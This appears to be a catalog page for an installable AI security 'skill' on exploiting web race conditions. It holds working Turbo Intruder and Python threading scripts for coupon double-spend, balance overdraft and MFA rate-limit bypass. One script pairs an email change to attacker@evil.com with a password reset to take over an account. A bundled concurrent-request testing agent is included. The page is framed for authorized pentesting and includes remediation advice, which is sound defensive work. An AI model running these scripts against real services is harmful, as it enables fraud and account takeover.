web application security

Exploiting Race Condition Vulnerabilities

Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.

burp-suiteconcurrencylimit-overrunrace-conditionsingle-packet-attacktoctouturbo-intruder
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When testing applications with transaction-based functionality (payments, transfers, coupons)
  • During assessment of rate-limiting or attempt-limiting mechanisms
  • When testing multi-step workflows (registration, password reset, MFA)
  • During bug bounty hunting for logic flaws in state-changing operations
  • When evaluating applications with inventory or balance management systems

Prerequisites

  • Burp Suite Professional with Turbo Intruder extension installed
  • Understanding of HTTP/2 single-packet attack technique
  • Python scripting ability for custom Turbo Intruder scripts
  • Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities
  • Target application with state-changing operations (purchases, votes, transfers)
  • Multiple user accounts for testing cross-user race conditions

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Race Condition Attack Surface

# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines
 
# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)

Step 2 — Configure Single-Packet Attack in Turbo Intruder

# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet
 
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)
 
    # Queue 20 identical requests for the same operation
    for i in range(20):
        engine.queue(target.req, gate='race1')
 
    # Hold all requests until ready
    engine.openGate('race1')
 
def handleResponse(req, interesting):
    table.add(req)

Step 3 — Execute Limit Overrun Attack

# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=50,
                          engine=Engine.BURP2)
 
    # Send 50 coupon redemption requests simultaneously
    for i in range(50):
        engine.queue(target.req, gate='coupon_race')
 
    engine.openGate('coupon_race')
 
def handleResponse(req, interesting):
    # Flag successful redemptions (200 OK)
    if req.status == 200:
        table.add(req)

Step 4 — Exploit Multi-Endpoint Race Conditions

# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)
 
    # Request 1: Change email to attacker@evil.com
    email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json
 
{"email":"attacker@evil.com"}'''
 
    # Request 2: Trigger password reset (goes to original email)
    password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json
 
{"email":"victim@target.com"}'''
 
    engine.queue(email_change, gate='race1')
    engine.queue(password_reset, gate='race1')
 
    engine.openGate('race1')
 
def handleResponse(req, interesting):
    table.add(req)

Step 5 — Test with Python Threading Alternative

import threading
import requests
 
TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"
 
def send_request():
    response = requests.post(
        TARGET_URL,
        json={"coupon": COUPON_CODE},
        headers={"Cookie": SESSION_COOKIE},
        timeout=10
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")
 
# Create barrier to synchronize thread start
barrier = threading.Barrier(20)
 
def synchronized_request():
    barrier.wait()  # All threads wait here, then start together
    send_request()
 
threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()

Step 6 — Analyze Results and Confirm Exploitation

# In Turbo Intruder results:
# - Sort by status code to identify successful requests
# - Compare response lengths to find anomalies
# - Check if more than one request succeeded (limit overrun confirmed)
# - Verify backend state (balance, inventory, coupon count)
 
# Document the race window timing
# Successful race conditions typically require:
# - HTTP/2 single-packet attack: ~30 seconds to find
# - Last-byte sync (HTTP/1.1): ~2+ hours to find
# - Thread-based approach: Variable, less reliable

Key Concepts

Concept Description
TOCTOU Time-of-Check-to-Time-of-Use flaw where state changes between validation and action
Single-Packet Attack Sending multiple HTTP/2 requests in one TCP packet for precise synchronization
Last-Byte Sync HTTP/1.1 technique holding final byte of multiple requests then releasing simultaneously
Limit Overrun Exceeding one-time-use limits by exploiting race windows in validation logic
Hidden State Machine Exploiting transitional states in multi-step application workflows
Gate Mechanism Turbo Intruder feature that holds requests until all are queued, then releases simultaneously
Connection Warming Pre-establishing connections to reduce network jitter in race condition attacks

Tools & Systems

Tool Purpose
Turbo Intruder Burp Suite extension for high-speed race condition exploitation
Burp Suite Repeater Group send feature for basic race condition testing
Nuclei Template-based scanner with race condition detection templates
Python threading Custom multi-threaded race condition scripts
racepwn Dedicated race condition testing framework
asyncio/aiohttp Python async HTTP for concurrent request sending

Common Scenarios

  1. Coupon Double-Spend — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used
  2. Balance Overdraft — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check
  3. MFA Bypass — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts
  4. Inventory Manipulation — Purchase more items than available stock by exploiting race conditions in inventory decrement logic
  5. Account Registration Bypass — Create multiple accounts with the same email by submitting concurrent registration requests

Output Format

## Race Condition Assessment Report
- **Target**: http://target.com/api/redeem-coupon
- **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder
- **Concurrent Requests**: 20
- **Successful Exploitations**: 4 out of 20
 
### Findings
| # | Endpoint | Operation | Expected | Actual | Severity |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |
| 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |
 
### Race Window Analysis
- HTTP/2 single-packet: Reliable exploitation in <30 seconds
- Success rate: ~20% per batch of 20 requests
- Race window estimated: 50-100ms
 
### Remediation
- Implement database-level locking (SELECT FOR UPDATE) on critical operations
- Use optimistic concurrency control with version numbers
- Apply idempotency keys for state-changing requests
- Implement distributed locks for multi-server environments
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.4 KB

API Reference: Race Condition Vulnerability Testing

Types of Race Conditions

Type Description Example
TOCTOU Time-of-check to time-of-use Balance check then debit
Double-spend Multiple withdrawals before balance update Gift card reuse
Limit bypass Concurrent requests bypass rate limits Coupon reuse
State mutation Concurrent writes corrupt state Inventory overselling

Python Threading for Concurrent Requests

Barrier Synchronization

import threading
barrier = threading.Barrier(10)
 
def worker():
    barrier.wait()  # All threads release simultaneously
    requests.post(url, json=data)
 
threads = [threading.Thread(target=worker) for _ in range(10)]
for t in threads: t.start()
for t in threads: t.join()

Turbo Intruder (Burp Suite)

Race Condition Script

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=100,
                          pipeline=False)
    for i in range(30):
        engine.queue(target.req)
 
def handleResponse(req, interesting):
    table.add(req)

HTTP/2 Single-Packet Attack

Concept

Send multiple requests in a single TCP packet using HTTP/2 multiplexing to eliminate network jitter and maximize race window.

curl Example

# Send 10 requests simultaneously via HTTP/2
for i in $(seq 1 10); do
    curl -X POST https://target/api/redeem \
        -H "Content-Type: application/json" \
        -d '{"coupon": "SAVE50"}' &
done
wait

Analysis Indicators

Indicator Meaning
Multiple 200 responses Operation executed multiple times
Different response bodies State changed between requests
Mixed status codes Inconsistent handling

Common Vulnerable Operations

Operation Impact
Coupon/voucher redemption Financial loss
Money transfer Double-spend
Like/vote submission Manipulation
Account creation Duplicate accounts
File upload Overwrite race

Remediation

  1. Use database-level locking (SELECT ... FOR UPDATE)
  2. Implement idempotency keys
  3. Use atomic operations (e.g., UPDATE balance = balance - X WHERE balance >= X)
  4. Apply distributed locks (Redis SETNX)
  5. Implement optimistic concurrency (version fields)

Scripts 1

agent.py4.2 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing race condition (TOCTOU) vulnerabilities in web applications."""

import argparse
import json
import threading
from datetime import datetime, timezone

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False


def send_concurrent_requests(url, method, data, headers, count, results_list):
    """Send multiple identical requests concurrently to trigger race conditions."""
    if not HAS_REQUESTS:
        return
    barrier = threading.Barrier(count)

    def worker(idx):
        try:
            barrier.wait(timeout=5)
            if method == "POST":
                resp = requests.post(url, json=data, headers=headers, timeout=15, verify=False)
            elif method == "PUT":
                resp = requests.put(url, json=data, headers=headers, timeout=15, verify=False)
            else:
                resp = requests.get(url, headers=headers, timeout=15, verify=False)
            results_list.append({
                "thread": idx,
                "status_code": resp.status_code,
                "response_length": len(resp.content),
                "response_preview": resp.text[:200],
                "elapsed": resp.elapsed.total_seconds(),
            })
        except Exception as e:
            results_list.append({"thread": idx, "error": str(e)[:100]})

    threads = []
    for i in range(count):
        t = threading.Thread(target=worker, args=(i,))
        threads.append(t)
        t.start()
    for t in threads:
        t.join(timeout=20)


def analyze_results(results):
    """Analyze concurrent request results for race condition indicators."""
    indicators = []
    success_count = sum(1 for r in results if r.get("status_code") == 200)
    if success_count > 1:
        indicators.append(f"{success_count} successful responses (expected 1 for idempotent operations)")

    response_bodies = [r.get("response_preview", "") for r in results if r.get("status_code") == 200]
    unique_bodies = set(response_bodies)
    if len(unique_bodies) > 1:
        indicators.append(f"Different response bodies across concurrent requests: {len(unique_bodies)} unique")

    status_codes = [r.get("status_code") for r in results if r.get("status_code")]
    if len(set(status_codes)) > 1:
        indicators.append(f"Mixed status codes: {set(status_codes)}")

    return indicators


def test_race_condition(url, method, data, token, concurrency):
    """Execute race condition test."""
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    headers["Content-Type"] = "application/json"
    results = []
    send_concurrent_requests(url, method, data, headers, concurrency, results)
    indicators = analyze_results(results)
    return {
        "url": url,
        "method": method,
        "concurrency": concurrency,
        "responses": results,
        "race_indicators": indicators,
        "potential_race": len(indicators) > 0,
    }


def main():
    parser = argparse.ArgumentParser(
        description="Test race condition vulnerabilities (authorized testing only)"
    )
    parser.add_argument("--url", required=True, help="Target URL")
    parser.add_argument("--method", default="POST", choices=["GET", "POST", "PUT"])
    parser.add_argument("--data", default="{}", help="JSON payload")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("--concurrency", type=int, default=10, help="Concurrent requests")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Race Condition Testing Agent")
    print("[!] For authorized security testing only")
    data = json.loads(args.data)
    result = test_race_condition(args.url, args.method, data, args.token, args.concurrency)

    report = {
        "timestamp": datetime.now(timezone.utc).isoformat(),
        "test_result": result,
        "risk_level": "HIGH" if result["potential_race"] else "LOW",
    }
    print(f"[*] Race condition detected: {result['potential_race']}")

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
Keep exploring